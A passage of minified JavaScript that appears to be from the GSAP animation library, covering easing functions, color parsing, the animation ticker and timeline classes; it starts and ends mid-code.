k(e)&&!t||Qe(e,1)?(i=n).push.apply(i,Je(e)):n.push(e)}))||n}(e,n):Qe(e)?Ke.call(e,0):e?[e]:[]:Ke.call((t||c).querySelectorAll(e),0)},et=function(e){return e=Je(e)[0]||U("Invalid scope")||{},function(t){var n=e.current||e.nativeElement||e;return Je(t,n.querySelectorAll?n:n===e?U("Invalid scope")||c.createElement("div"):e)}},tt=function(e){return e.sort((function(){return.5-Math.random()}))},nt=function(e){if(A(e))return e;var t=L(e)?e:{each:e},n=Pt(t.ease),i=t.from||0,r=parseFloat(t.base)||0,s={},o=i>0&&i<1,a=isNaN(i)||o,l=t.axis,c=i,u=i;return k(i)?c=u={center:.5,edges:.5,end:1}[i]||0:!o&&a&&(c=i[0],u=i[1]),function(e,o,d){var p,h,f,m,g,v,y,b,_,x=(d||t).length,T=s[x];if(!T){if(!(_="auto"===t.grid?0:(t.grid||[1,w])[1])){for(y=-w;y<(y=d[_++].getBoundingClientRect().left)&&_<x;);_<x&&_--}for(T=s[x]=[],p=a?Math.min(_,x)*c-.5:i%_,h=_===w?0:a?x*u/_-.5:i/_|0,y=0,b=w,v=0;v<x;v++)f=v%_-p,m=h-(v/_|0),T[v]=g=l?Math.abs("y"===l?m:f):S(f*f+m*m),g>y&&(y=g),g<b&&(b=g);"random"===i&&tt(T),T.max=y-b,T.min=b,T.v=x=(parseFloat(t.amount)||parseFloat(t.each)*(_>x?x-1:l?"y"===l?x/_:_:Math.max(_,x/_))||0)*("edges"===i?-1:1),T.b=x<0?r-x:r,T.u=Ze(t.amount||t.each)||0,n=n&&x<0?At(n):n}return x=(T[e]-T.min)/T.max||0,fe(T.b+(n?n(x):x)*T.v)+T.u}},it=function(e){var t=Math.pow(10,((e+"").split(".")[1]||"").length);return function(n){var i=fe(Math.round(parseFloat(n)/e)*e*t);return(i-i%1)/t+(O(n)?0:Ze(n))}},rt=function(e,t){var n,i,r=R(e);return!r&&L(e)&&(n=r=e.radius||w,e.values?(e=Je(e.values),(i=!O(e[0]))&&(n*=n)):e=it(e.increment)),Ve(t,r?A(e)?function(t){return i=e(t),Math.abs(i-t)<=n?i:t}:function(t){for(var r,s,o=parseFloat(i?t.x:t),a=parseFloat(i?t.y:0),l=w,c=0,u=e.length;u--;)(r=i?(r=e[u].x-o)*r+(s=e[u].y-a)*s:Math.abs(e[u]-o))<l&&(l=r,c=u);return c=!n||l<=n?e[c]:t,i||c===t||O(t)?c:c+Ze(t)}:it(e))},st=function(e,t,n,i){return Ve(R(e)?!t:!0===n?!!(n=0):!i,(function(){return R(e)?e[~~(Math.random()*e.length)]:(n=n||1e-5)&&(i=n<1?Math.pow(10,(n+"").length-2):1)&&Math.floor(Math.round((e-n/2+Math.random()*(t-e+.99*n))/n)*n*i)/i}))},ot=function(e,t,n){return Ve(n,(function(n){return e[~~t(n)]}))},at=function(e){for(var t,n,i,r,s=0,o="";~(t=e.indexOf("random(",s));)i=e.indexOf(")",t),r="["===e.charAt(t+7),n=e.substr(t+7,i-t-7).match(r?B:$),o+=e.substr(s,t-s)+st(r?n:+n[0],r?0:+n[1],+n[2]||1e-5),s=i+1;return o+e.substr(s,e.length-s)},lt=function(e,t,n,i,r){var s=t-e,o=i-n;return Ve(r,(function(t){return n+((t-e)/s*o||0)}))},ct=function(e,t,n){var i,r,s,o=e.labels,a=w;for(i in o)(r=o[i]-t)<0==!!n&&r&&a>(r=Math.abs(r))&&(s=i,a=r);return s},ut=function(e,t,n){var i,r,o,a=e.vars,l=a[t],c=s,u=e._ctx;if(l)return i=a[t+"Params"],r=a.callbackScope||e,n&&ne.length&&ve(),u&&(s=u),o=i?l.apply(r,i):l.call(r),s=c,o},dt=function(e){return ke(e),e.scrollTrigger&&e.scrollTrigger.kill(!!r),e.progress()<1&&ut(e,"onInterrupt"),e},pt=[],ht=function(e){if(e)if(e=!e.name&&e.default||e,I()||e.headless){var t=e.name,n=A(e),i=t&&!n&&e.init?function(){this._props=[]}:e,r={init:K,render:sn,add:qt,kill:an,modifier:on,rawVars:0},s={targetTest:0,get:0,getSetter:en,aliases:{},register:0};if(Et(),e!==i){if(re[t])return;_e(i,_e(Ee(e,r),s)),xe(i.prototype,xe(r,Ee(e,s))),re[i.prop=t]=i,e.targetTest&&(ae.push(i),te[t]=1),t=("css"===t?"CSS":t.charAt(0).toUpperCase()+t.substr(1))+"Plugin"}Z(t,i),e.register&&e.register(Tn,i,un)}else pt.push(e)},ft=255,mt={aqua:[0,ft,ft],lime:[0,ft,0],silver:[192,192,192],black:[0,0,0],maroon:[128,0,0],teal:[0,128,128],blue:[0,0,ft],navy:[0,0,128],white:[ft,ft,ft],olive:[128,128,0],yellow:[ft,ft,0],orange:[ft,165,0],gray:[128,128,128],purple:[128,0,128],green:[0,128,0],red:[ft,0,0],pink:[ft,192,203],cyan:[0,ft,ft],transparent:[ft,ft,ft,0]},gt=function(e,t,n){return(6*(e+=e<0?1:e>1?-1:0)<1?t+(n-t)*e*6:e<.5?n:3*e<2?t+(n-t)*(2/3-e)*6:t)*ft+.5|0},vt=function(e,t,n){var i,r,s,o,a,l,c,u,d,p,h=e?O(e)?[e>>16,e>>8&ft,e&ft]:0:mt.black;if(!h){if(","===e.substr(-1)&&(e=e.substr(0,e.length-1)),mt[e])h=mt[e];else if("#"===e.charAt(0)){if(e.length<6&&(i=e.charAt(1),r=e.charAt(2),s=e.charAt(3),e="#"+i+i+r+r+s+s+(5===e.length?e.charAt(4)+e.charAt(4):"")),9===e.length)return[(h=parseInt(e.substr(1,6),16))>>16,h>>8&ft,h&ft,parseInt(e.substr(7),16)/255];h=[(e=parseInt(e.substr(1),16))>>16,e>>8&ft,e&ft]}else if("hsl"===e.substr(0,3))if(h=p=e.match($),t){if(~e.indexOf("="))return h=e.match(F),n&&h.length<4&&(h[3]=1),h}else o=+h[0]%360/360,a=+h[1]/100,i=2*(l=+h[2]/100)-(r=l<=.5?l*(a+1):l+a-l*a),h.length>3&&(h[3]*=1),h[0]=gt(o+1/3,i,r),h[1]=gt(o,i,r),h[2]=gt(o-1/3,i,r);else h=e.match($)||mt.transparent;h=h.map(Number)}return t&&!p&&(i=h[0]/ft,r=h[1]/ft,s=h[2]/ft,l=((c=Math.max(i,r,s))+(u=Math.min(i,r,s)))/2,c===u?o=a=0:(d=c-u,a=l>.5?d/(2-c-u):d/(c+u),o=c===i?(r-s)/d+(r<s?6:0):c===r?(s-i)/d+2:(i-r)/d+4,o*=60),h[0]=~~(o+.5),h[1]=~~(100*a+.5),h[2]=~~(100*l+.5)),n&&h.length<4&&(h[3]=1),h},yt=function(e){var t=[],n=[],i=-1;return e.split(wt).forEach((function(e){var r=e.match(j)||[];t.push.apply(t,r),n.push(i+=r.length+1)})),t.c=n,t},bt=function(e,t,n){var i,r,s,o,a="",l=(e+a).match(wt),c=t?"hsla(":"rgba(",u=0;if(!l)return e;if(l=l.map((function(e){return(e=vt(e,t,1))&&c+(t?e[0]+","+e[1]+"%,"+e[2]+"%,"+e[3]:e.join(","))+")"})),n&&(s=yt(e),(i=n.c).join(a)!==s.c.join(a)))for(o=(r=e.replace(wt,"1").split(j)).length-1;u<o;u++)a+=r[u]+(~i.indexOf(u)?l.shift()||c+"0,0,0,0)":(s.length?s:l.length?l:n).shift());if(!r)for(o=(r=e.split(wt)).length-1;u<o;u++)a+=r[u]+l[u];return a+r[o]},wt=function(){var e,t="(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#(?:[0-9a-f]{3,4}){1,2}\\b";for(e in mt)t+="|"+e+"\\b";return new RegExp(t+")","gi")}(),_t=/hsl[a]?\(/,xt=function(e){var t,n=e.join(" ");if(wt.lastIndex=0,wt.test(n))return t=_t.test(n),e[1]=bt(e[1],t),e[0]=bt(e[0],t,yt(e[1])),!0},Tt=function(){var e,t,n,i,r,s,o=Date.now,d=500,p=33,f=o(),m=f,g=1e3/240,v=g,y=[],b=function n(a){var l,c,u,h,b=o()-m,w=!0===a;if((b>d||b<0)&&(f+=b-p),((l=(u=(m+=b)-f)-v)>0||w)&&(h=++i.frame,r=u-1e3*i.time,i.time=u/=1e3,v+=l+(l>=g?4:g-l),c=1),w||(e=t(n)),c)for(s=0;s<y.length;s++)y[s](u,r,h,a)};return i={time:0,frame:0,tick:function(){b(!0)},deltaRatio:function(e){return r/(1e3/(e||60))},wake:function(){u&&(!l&&I()&&(a=l=window,c=a.document||{},X.gsap=Tn,(a.gsapVersions||(a.gsapVersions=[])).push(Tn.version),G(Y||a.GreenSockGlobals||!a.gsap&&a||{}),pt.forEach(ht)),n="undefined"!=typeof requestAnimationFrame&&requestAnimationFrame,e&&i.sleep(),t=n||function(e){return setTimeout(e,v-1e3*i.time+1|0)},h=1,b(2))},sleep:function(){(n?cancelAnimationFrame:clearTimeout)(e),h=0,t=K},lagSmoothing:function(e,t){d=e||1/0,p=Math.min(t||33,d)},fps:function(e){g=1e3/(e||240),v=1e3*i.time+g},add:function(e,t,n){var r=t?function(t,n,s,o){e(t,n,s,o),i.remove(r)}:e;return i.remove(e),y[n?"unshift":"push"](r),Et(),r},remove:function(e,t){~(t=y.indexOf(e))&&y.splice(t,1)&&s>=t&&s--},_listeners:y}}(),Et=function(){return!h&&Tt.wake()},St={},Ct=/^[\d.\-M][\d.\-,\s]/,Mt=/["']/g,kt=function(e){for(var t,n,i,r={},s=e.substr(1,e.length-3).split(":"),o=s[0],a=1,l=s.length;a<l;a++)n=s[a],t=a!==l-1?n.lastIndexOf(","):n.length,i=n.substr(0,t),r[o]=isNaN(i)?i.replace(Mt,"").trim():+i,o=n.substr(t+1).trim();return r},At=function(e){return function(t){return 1-e(1-t)}},Ot=function e(t,n){for(var i,r=t._first;r;)r instanceof $t?e(r,n):!r.vars.yoyoEase||r._yoyo&&r._repeat||r._yoyo===n||(r.timeline?e(r.timeline,n):(i=r._ease,r._ease=r._yEase,r._yEase=i,r._yoyo=n)),r=r._next},Pt=function(e,t){return e&&(A(e)?e:St[e]||function(e){var t,n,i,r,s=(e+"").split("("),o=St[s[0]];return o&&s.length>1&&o.config?o.config.apply(null,~e.indexOf("{")?[kt(s[1])]:(t=e,n=t.indexOf("(")+1,i=t.indexOf(")"),r=t.indexOf("(",n),t.substring(n,~r&&r<i?t.indexOf(")",i+1):i)).split(",").map(be)):St._CE&&Ct.test(e)?St._CE("",e):o}(e))||t},Lt=function(e,t,n,i){void 0===n&&(n=function(e){return 1-t(1-e)}),void 0===i&&(i=function(e){return e<.5?t(2*e)/2:1-t(2*(1-e))/2});var r,s={easeIn:t,easeOut:n,easeInOut:i};return pe(e,(function(e){for(var t in St[e]=X[e]=s,St[r=e.toLowerCase()]=n,s)St[r+("easeIn"===t?".in":"easeOut"===t?".out":".inOut")]=St[e+"."+t]=s[t]})),s},Dt=function(e){return function(t){return t<.5?(1-e(1-2*t))/2:.5+e(2*(t-.5))/2}},It=function e(t,n,i){var r=n>=1?n:1,s=(i||(t?.3:.45))/(n<1?n:1),o=s/x*(Math.asin(1/r)||0),a=function(e){return 1===e?1:r*Math.pow(2,-10*e)*M((e-o)*s)+1},l="out"===t?a:"in"===t?function(e){return 1-a(1-e)}:Dt(a);return s=x/s,l.config=function(n,i){return e(t,n,i)},l},zt=function e(t,n){void 0===n&&(n=1.70158);var i=function(e){return e?--e*e*((n+1)*e+n)+1:0},r="out"===t?i:"in"===t?function(e){return 1-i(1-e)}:Dt(i);return r.config=function(n){return e(t,n)},r};pe("Linear,Quad,Cubic,Quart,Quint,Strong",(function(e,t){var n=t<5?t+1:t;Lt(e+",Power"+(n-1),t?function(e){return Math.pow(e,n)}:function(e){return e},(function(e){return 1-Math.pow(1-e,n)}),(function(e){return e<.5?Math.pow(2*e,n)/2:1-Math.pow(2*(1-e),n)/2}))})),St.Linear.easeNone=St.none=St.Linear.easeIn,Lt("Elastic",It("in"),It("out"),It()),f=7.5625,g=1/(m=2.75),Lt("Bounce",(function(e){return 1-v(1-e)}),v=function(e){return e<g?f*e*e:e<.7272727272727273?f*Math.pow(e-1.5/m,2)+.75:e<.9090909090909092?f*(e-=2.25/m)*e+.9375:f*Math.pow(e-2.625/m,2)+.984375}),Lt("Expo",(function(e){return e?Math.pow(2,10*(e-1)):0})),Lt("Circ",(function(e){return-(S(1-e*e)-1)})),Lt("Sine",(function(e){return 1===e?1:1-C(e*T)})),Lt("Back",zt("in"),zt("out"),zt()),St.SteppedEase=St.steps=X.SteppedEase={config:function(e,t){void 0===e&&(e=1);var n=1/e,i=e+(t?0:1),r=t?1:0;return function(e){return((i*Ue(0,.99999999,e)|0)+r)*n}}},b.ease=St["quad.out"],pe("onComplete,onUpdate,onStart,onRepeat,onReverseComplete,onInterrupt",(function(e){return le+=e+","+e+"Params,"}));var Nt=function(e,t){this.id=E++,e._gsap=this,this.target=e,this.harness=t,this.get=t?t.get:de,this.set=t?t.getSetter:en},Rt=function(){function e(e){this.vars=e,this._delay=+e.delay||0,(this._repeat=e.repeat===1/0?-2:e.repeat||0)&&(this._rDelay=e.repeatDelay||0,this._yoyo=!!e.yoyo||!!e.yoyoEase),this._ts=1,Be(this,+e.duration,1,1),this.data=e.data,s&&(this._ctx=s,s.data.push(this)),h||Tt.wake()}var t=e.prototype;return t.delay=function(e){return e||0===e?(this.parent&&this.parent.smoothChildTiming&&this.startTime(this._start+e-this._delay),this._delay=e,this):this._delay},t.duration=function(e){return arguments.length?this.totalDuration(this._repeat>0?e+(e+this._rDelay)*this._repeat:e):this.totalDuration()&&this._dur},t.totalDuration=function(e){return arguments.length?(this._dirty=0,Be(this,this._repeat<0?e:(e-this._repeat*this._rDelay)/(this._repeat+1))):this._tDur},t.totalTime=function(e,t){if(Et(),!arguments.length)return this._tTime;var n=this._dp;if(n&&n.smoothChildTiming&&this._ts){for(Ne(this,e),!n._dp||n.parent||Re(n,this);n&&n.parent;)n.parent._time!==n._start+(n._ts>=0?n._tTime/n._ts:(n.totalDuration()-n._tTime)/-n._ts)&&n.totalTime(n._tTime,!0),n=n.parent;!this.parent&&this._dp.autoRemoveChildren&&(this._ts>0&&e<this._tDur||this._ts<0&&e>0||!this._tDur&&!e)&&$e(this._dp,this,this._start-this._delay)}return(this._tTime!==e||!this._dur&&!t||this._initted&&Math.abs(this._zTime)===_||!e&&!this._initted&&(this.add||this._ptLookup))&&(this._ts||(this._pTime=e),ye(this,e,t)),this},t.time=function(e,t){return arguments.length?this.totalTime(Math.min(this.totalDuration(),e+Le(this))%(this._dur+this._rDelay)||(e?this._dur:0),t):this._time},t.totalProgress=function(e,t){return arguments.length?this.totalTime(this.totalDuration()*e,t):this.totalDuration()?Math.min(1,this._tTime/this._tDur):this.rawTime()>0?1:0},t.progress=function(e,t){return arguments.length?this.totalTime(this.duration()*(!this._yoyo||1&this.iteration()?e:1-e)+Le(this),t):this.duration()?Math.min(1,this._time/this._dur):this.rawTime()>0?1:0},t.iteration=function(e,t){var n=this.duration()+this._rDelay;return arguments.length?this.totalTime(this._time+(e-1)*n,t):this._repeat?De(this._tTime,n)+1:1},t.timeScale=function(e,t){if(!arguments.length)return-1e-8===this._rts?0:this._rts;if(this._rts===e)return this;var n=this.parent&&this._ts?Ie(this.parent._time,this):this._tTime;return this._rts=+e||0,this._ts=this._ps||-1e-8===e?0:this._rts,this.totalTime(Ue(-Math.abs(this._delay),this._tDur,n),!1!==t),ze(this),function(e){for(var t=e.parent;t&&t.parent;)t._dirty=1,t.totalDuration(),t=t.parent;return e}(this)},t.paused=function(e){return arguments.length?(this._ps!==e&&(this._ps=e,e?(this._pTime=this._tTime||Math.max(-this._delay,this.rawTime()),this._ts=this._act=0):(Et(),this._ts=this._rts,this.totalTime(this.parent&&!this.parent.smoothChildTiming?this.rawTime():this._tTime||this._pTime,1===this.progress()&&Math.abs(this._zTime)!==_&&(this._tTime-=_)))),this):this._ps},t.startTime=function(e){if(arguments.length){this._start=e;var t=this.parent||this._dp;return t&&(t._sort||!this.parent)&&$e(t,this,e-this._delay),this}return this._start},t.endTime=function(e){return this._start+(D(e)?this.totalDuration():this.duration())/Math.abs(this._ts||1)},t.rawTime=function(e){var t=this.parent||this._dp;return t?e&&(!this._ts||this._repeat&&this._time&&this.totalProgress()<1)?this._tTime%(this._dur+this._rDelay):this._ts?Ie(t.rawTime(e),this):this._tTime:this._tTime},t.revert=function(e){void 0===e&&(e=ee);var t=r;return r=e,(this._initted||this._startAt)&&(this.timeline&&this.timeline.revert(e),this.totalTime(-.01,e.suppressEvents)),"nested"!==this.data&&!1!==e.kill&&this.kill(),r=t,this},t.globalTime=function(e){for(var t=this,n=arguments.length?e:t.rawTime();t;)n=t._start+n/(Math.abs(t._ts)||1),t=t._dp;return!this.parent&&this._sat?this._sat.globalTime(e):n},t.repeat=function(e){return arguments.length?(this._repeat=e===1/0?-2:e,We(this)):-2===this._repeat?1/0:this._repeat},t.repeatDelay=function(e){if(arguments.length){var t=this._time;return this._rDelay=e,We(this),t?this.time(t):this}return this._rDelay},t.yoyo=function(e){return arguments.length?(this._yoyo=e,this):this._yoyo},t.seek=function(e,t){return this.totalTime(Ye(this,e),D(t))},t.restart=function(e,t){return this.play().totalTime(e?-this._delay:0,D(t))},t.play=function(e,t){return null!=e&&this.seek(e,t),this.reversed(!1).paused(!1)},t.reverse=function(e,t){return null!=e&&this.seek(e||this.totalDuration(),t),this.reversed(!0).paused(!1)},t.pause=function(e,t){return null!=e&&this.seek(e,t),this.paused(!0)},t.resume=function(){return this.paused(!1)},t.reversed=function(e){return arguments.length?(!!e!==this.reversed()&&this.timeScale(-this._rts||(e?-1e-8:0)),this):this._rts<0},t.invalidate=function(){return this._initted=this._act=0,this._zTime=-1e-8,this},t.isActive=function(){var e,t=this.parent||this._dp,n=this._start;return!(t&&!(this._ts&&this._initted&&t.isActive()&&(e=t.rawTime(!0))>=n&&e<this.endTime(!0)-_))},t.eventCallback=function(e,t,n){var i=this.vars;return arguments.length>1?(t?(i[e]=t,n&&(i[e+"Params"]=n),"onUpdate"===e&&(this._onUpdate=t)):delete i[e],this):i[e]},t.then=function(e){var t=this;return new Promise((function(n){var i=A(e)?e:we,r=function(){var e=t.then;t.then=null,A(i)&&(i=i(t))&&(i.then||i===t)&&(t.then=e),n(i),t.then=e};t._initted&&1===t.totalProgress()&&t._ts>=0||!t._tTime&&t._ts<0?r():t._prom=r}))},t.kill=function(){dt(this)},e}();_e(Rt.prototype,{_time:0,_start:0,_end:0,_tTime:0,_tDur:0,_dirty:0,_repeat:0,_yoyo:!1,parent:null,_initted:!1,_rDelay:0,_ts:1,_dp:0,ratio:0,_zTime:-1e-8,_prom:0,_ps:!1,_rts:1});var $t=function(e){function i(t,i){var r;return void 0===t&&(t={}),(r=e.call(this,t)||this).labels={},r.smoothChildTiming=!!t.smoothChildTiming,r.autoRemoveChildren=!!t.autoRemoveChildren,r._sort=D(t.sortChildren),o&&$e(t.parent||o,n(r),i),t.reversed&&r.reverse(),t.paused&&r.paused(!0),t.scrollTrigger&&Fe(n(r),t.scrollTrigger),r}t(i,e);var s=i.prototype;return s.to=function(e,t,n){return Ge(0,arguments,this),this},s.from=function(e,t,n){return Ge(1,arguments,this),this},s.fromTo=function(e,t,n,i){return Ge(2,arguments,this),this},s.set=function(e,t,n){return t.duration=0,t.parent=this,Se(t).repeatDelay||(t.repeat=0),t.immediateRender=!!t.immediateRender,new Ut(e,t,Ye(this,n),1),this},s.call=function(e,t,n){return $e(this,Ut.delayedCall(0,e,t),n)},s.staggerTo=function(e,t,n,i,r,s,o){return n.duration=t,n.stagger=n.stagger||i,n.onComplete=s,n.onCompleteParams=o,n.parent=this,new Ut(e,n,Ye(this,r)),this},s.staggerFrom=function(e,t,n,i,r,s,o){return n.runBackwards=1,Se(n).immediateRender=D(n.immediateRender),this.staggerTo(e,t,n,i,r,s,o)},s.staggerFromTo=function(e,t,n,i,r,s,o,a){return i.startAt=n,Se(i).immediateRender=D(i.immediateRender),this.staggerTo(e,t,i,r,s,o,a)},s.render=function(e,t,n){var i,s,a,l,c,u,d,p,h,f,m,g,v=this._time,y=this._dirty?this.totalDuration():this._tDur,b=this._dur,w=e<=0?0:fe(e),x=this._zTime<0!=e<0&&(this._initted||!b);if(this!==o&&w>y&&e>=0&&(w=y),w!==this._tTime||n||x){if(v!==this._time&&b&&(w+=this._time-v,e+=this._time-v),i=w,h=this._start,u=!(p=this._ts),x&&(b||(v=this._zTime),(e||!t)&&(this._zTime=e)),this._repeat){if(m=this._yoyo,c=b+this._rDelay,this._repeat<-1&&e<0)return this.totalTime(100*c+e,t,n);if(i=fe(w%c),w===y?(l=this._repeat,i=b):((l=~~(w/c))&&l===w/c&&(i=b,l--),i>b&&(i=b)),f=De(this._tTime,c),!v&&this._tTime&&f!==l&&this._tTime-f*c-this._dur<=0&&(f=l),m&&1&l&&(i=b-i,g=1),l!==f&&!this._lock){var T=m&&1&f,E=T===(m&&1&l);if(l<f&&(T=!T),v=T?0:w%b?b:w,this._lock=1,this.render(v||(g?0:fe(l*c)),t,!b)._lock=0,this._tTime=w,!t&&this.parent&&ut(this,"onRepeat"),this.vars.repeatRefresh&&!g&&(this.invalidate()._lock=1),v&&v!==this._time||u!==!this._ts||this.vars.onRepeat&&!this.parent&&!this._act)return this;if(b=this._dur,y=this._tDur,E&&(this._lock=2,v=T?b:-1e-4,this.render(v,!0),this.vars.repeatRefresh&&!g&&this.invalidate()),this._lock=0,!this._ts&&!u)return this;Ot(this,g)}}if(this._hasPause&&!this._forcing&&this._lock<2&&(d=function(e,t,n){var i;if(n>t)for(i=e._first;i&&i._start<=n;){if("isPause"===i.data&&i._start>t)return i;i=i._next}else for(i=e._last;i&&i._start>=n;){if("isPause"===i.data&&i._start<t)return i;i=i._prev}}(this,fe(v),fe(i)),d&&(w-=i-(i=d._start))),this._tTime=w,this._time=i,this._act=!p,this._initted||(this._onUpdate=this.vars.onUpdate,this._initted=1,this._zTime=e,v=0),!v&&i&&!t&&!l&&(ut(this,"onStart"),this._tTime!==w))return this;if(i>=v&&e>=0)for(s=this._first;s;){if(a=s._next,(s._act||i>=s._start)&&s._ts&&d!==s){if(s.parent!==this)return this.render(e,t,n);if(s.render(s._ts>0?(i-s._start)*s._ts:(s._dirty?s.totalDuration():s._tDur)+(i-s._start)*s._ts,t,n),i!==this._time||!this._ts&&!u){d=0,a&&(w+=this._zTime=-1e-8);break}}s=a}else{s=this._last;for(var S=e<0?e:i;s;){if(a=s._prev,(s._act||S<=s._end)&&s._ts&&d!==s){if(s.parent!==this)return this.render(e,t,n);if(s.render(s._ts>0?(S-s._start)*s._ts:(s._dirty?s.totalDuration():s._tDur)+(S-s._start)*s._ts,t,n||r&&(s._initted||s._startAt)),i!==this._time||!this._ts&&!u){d=0,a&&(w+=this._zTime=S?-1e-8:_);break}}s=a}}if(d&&!t&&(this.pause(),d.render(i>=v?0:-1e-8)._zTime=i>=v?1:-1,this._ts))return this._start=h,ze(this),this.render(e,t,n);this._onUpdate&&!t&&ut(this,"onUpdate",!0),(w===y&&this._tTime>=this.totalDuration()||!w&&v)&&(h!==this._start&&Math.abs(p)===Math.abs(this._ts)||this._lock||((e||!b)&&(w===y&&this._ts>0||!w&&this._ts<0)&&ke(this,1),t||e<0&&!v||!w&&!v&&y||(ut(this,w===y&&e>=0?"onComplete":"onReverseComplete",!0),this._prom&&!(w<y&&this.timeScale()>0)&&this._prom())))}return this},s.add=function(e,t){var n=this;if(O(t)||(t=Ye(this,t,e)),!(e instanceof Rt)){if(R(e))return e.forEach((function(e){return n.add(e,t)})),this;if(k(e))return this.addLabel(e,t);if(!A(e))return this;e=Ut.delayedCall(0,e)}return this!==e?$e(this,e,t):this},s.getChildren=function(e,t,n,i){void 0===e&&(e=!0),void 0===t&&(t=!0),void 0===n&&(n=!0),void 0===i&&(i=-w);for(var r=[],s=this._first;s;)s._start>=i&&(s instanceof Ut?t&&r.push(s):(n&&r.push(s),e&&r.push.apply(r,s.getChildren(!0,t,n)))),s=s._next;return r},s.getById=function(e){for(var t=this.getChildren(1,1,1),n=t.length;n--;)if(t[n].vars.id===e)return t[n]},s.remove=function(e){return k(e)?this.removeLabel(e):A(e)?this.killTweensOf(e):(Me(this,e),e===this._recent&&(this._recent=this._last),Ae(this))},s.totalTime=function(t,n){return arguments.length?(this._forcing=1,!this._dp&&this._ts&&(this._start=fe(Tt.time-(this._ts>0?t/this._ts:(this.totalDuration()-t)/-this._ts))),e.prototype.totalTime.call(this,t,n),this._forcing=0,this):this._tTime},s.addLabel=function(e,t){return this.labels[e]=Ye(this,t),this},s.removeLabel=function(e){return delete this.labels[e],this},s.addPause=function(e,t,n){var i=Ut.delayedCall(0,t||K,n);return i.data="isPause",this._hasPause=1,$e(this,i,Ye(this,e))},s.removePause=function(e){var t=this._first;for(e=Ye(this,e);t;)t._start===e&&"isPause"===t.data&&ke(t),t=t._next},s.killTweensOf=function(e,t,n){for(var i=this.getTweensOf(e,n),r=i.length;r--;)Ft!==i[r]&&i[r].kill(e,t);return this},s.getTweensOf=function(e,t){for(var n,i=[],r=Je(e),s=this._first,o=O(t);s;)s instanceof Ut?ge(s._targets,r)&&(o?(!Ft||s._initted&&s._ts)&&s.globalTime(0)<=t&&s.globalTime(s.totalDuration())>t:!t||s.isActive())&&i.push(s):(n=s.getTweensOf(r,t)).length&&i.push.apply(i,n),s=s._next;return i},s.tweenTo=function(e,t){t=t||{};var n,i=this,r=Ye(i,e),s=t,o=s.startAt,a=s.onStart,l=s.onStartParams,c=s.immediateRender,u=Ut.to(i,_e({ease:t.ease||"none",lazy:!1,immediateRender:!1,time:r,overwrite:"auto",duration:t.duration||Math.abs((r-(o&&"time"in o?o.time:i._time))/i.timeScale())||_,onStart:function(){if(i.pause(),!n){var e=t.duration||Math.abs((r-(o&&"time"in o?o.time:i._time))/i.timeScale());u._dur!==e&&Be(u,e,0,1).render(u._time,!0,!0),n=1}a&&a.apply(u,l||[])}},t));return c?u.render(0):u},s.tweenFromTo=function(e,t,n){return this.tweenTo(t,_e({startAt:{time:Ye(this,e)}},n))},s.recent=function(){return this._recent},s.nextLabel=function(e){return void 0===e&&(e=this._time),ct(this,Ye(this,e))},s.previousLabel=function(e){return void 0===e&&(e=this._time),ct(this,Ye(this,e),1)},s.currentLabel=function(e){return arguments.length?this.seek(e,!0):this.previousLabel(this._time+_)},s.shiftChildren=function(e,t,n){void 0===n&&(n=0);for(var i,r=this._first,s=this.labels;r;)r._start>=n&&(r._start+=e,r._end+=e),r=r._next;if(t)for(i in s)s[i]>=n&&(s[i]+=e);return Ae(this)},s.invalidate=function(t){var n=this._first;for(this._lock=0;n;)n.invalidate(t),n=n._next;return e.prototype.invalidate.call(this,t)},s.clear=function(e){void 0===e&&(e=!0);for(var t,n=this._first;n;)t=n._next,this.remove(n),n=t;return this._dp&&(this._time=this._tTime=this._pTime=0),e&&(this.labels={}),Ae(this)},s.totalDuration=function(e){var t,n,i,r=0,s=this,a=s._last,l=w;if(arguments.length)return s.timeScale((s._repeat<0?s.duration():s.totalDuration())/(s.reversed()?-e:e));if(s._dirty){for(i=s.parent;a;)t=a._prev,a._dirty&&a.totalDuration(),(n=a._start)>l&&s._sort&&a._ts&&!s._lock?(s._lock=1,$e(s,a,n-a._delay,1)._lock=0):l=n,n<0&&a._ts&&(r-=n,(!i&&!s._dp||i&&i.smoothChildTiming)&&(s._start+=n/s._ts,s._time-=n,s._tTime-=n),s.shiftChildren(-n,!1,-1/0),l=0),a._end>r&&a._ts&&(r=a._end),a=t;Be(s,s===o&&s._time>r?s._time:r,1,1),s._dirty=0}return s._tDur},i.updateRoot=function(e){if(o._ts&&(ye(o,Ie(e,o)),d=Tt.frame),Tt.frame>=oe){oe+=y.autoSleep||120;var t=o._first;if((!t||!t._ts)&&y.autoSleep&&Tt._listeners.length<2){for(;t&&!t._ts;)t=t._next;t||Tt.sleep()}}},i}(Rt);_e($t.prototype,{_lock:0,_hasPause:0,_forcing:0});var Ft,jt,Ht=function(e,t,n,i,r,s,o){var a,l,c,u,d,p,h,f,m=new un(this._pt,e,t,0,1,rn,null,r),g=0,v=0;for(m.b=n,m.e=i,n+="",(h=~(i+="").indexOf("random("))&&(i=at(i)),s&&(s(f=[n,i],e,t),n=f[0],i=f[1]),l=n.match(H)||[];a=H.exec(i);)u=a[0],d=i.substring(g,a.index),c?c=(c+1)%5:"rgba("===d.substr(-5)&&(c=1),u!==l[v++]&&(p=parseFloat(l[v-1])||0,m._pt={_next:m._pt,p:d||1===v?d:",",s:p,c:"="===u.charAt(1)?me(p,u)-p:parseFloat(u)-p,m:c&&c<4?Math.round:0},g=H.lastIndex);return m.c=g<i.length?i.substring(g,i.length):"",m.fp=o,(q.test(i)||h)&&(m.e=0),this._pt=m,m},qt=function(e,t,n,i,r,s,o,a,l,c){A(i)&&(i=i(r||0,e,s));var u,d=e[t],p="get"!==n?n:A(d)?l?e[t.indexOf("set")||!A(e["get"+t.substr(3)])?t:"get"+t.substr(3)](l):e[t]():d,h=A(d)?l?Qt:Kt:Zt;if(k(i)&&(~i.indexOf("random(")&&(i=at(i)),"="===i.charAt(1)&&((u=me(p,i)+(Ze(p)||0))||0===u)&&(i=u)),!c||p!==i||jt)return isNaN(p*i)||""===i?(!d&&!(t in e)&&V(t,i),Ht.call(this,e,t,p,i,h,a||y.stringFilter,l)):(u=new un(this._pt,e,t,+p||0,i-(p||0),"boolean"==typeof d?nn:tn,0,h),l&&(u.fp=l),o&&u.modifier(o,this,e),this._pt=u)},Bt=function(e,t,n,i,r,s){var o,a,l,c;if(re[e]&&!1!==(o=new re[e]).init(r,o.rawVars?t[e]:function(e,t,n,i,r){if(A(e)&&(e=Yt(e,r,t,n,i)),!L(e)||e.style&&e.nodeType||R(e)||N(e))return 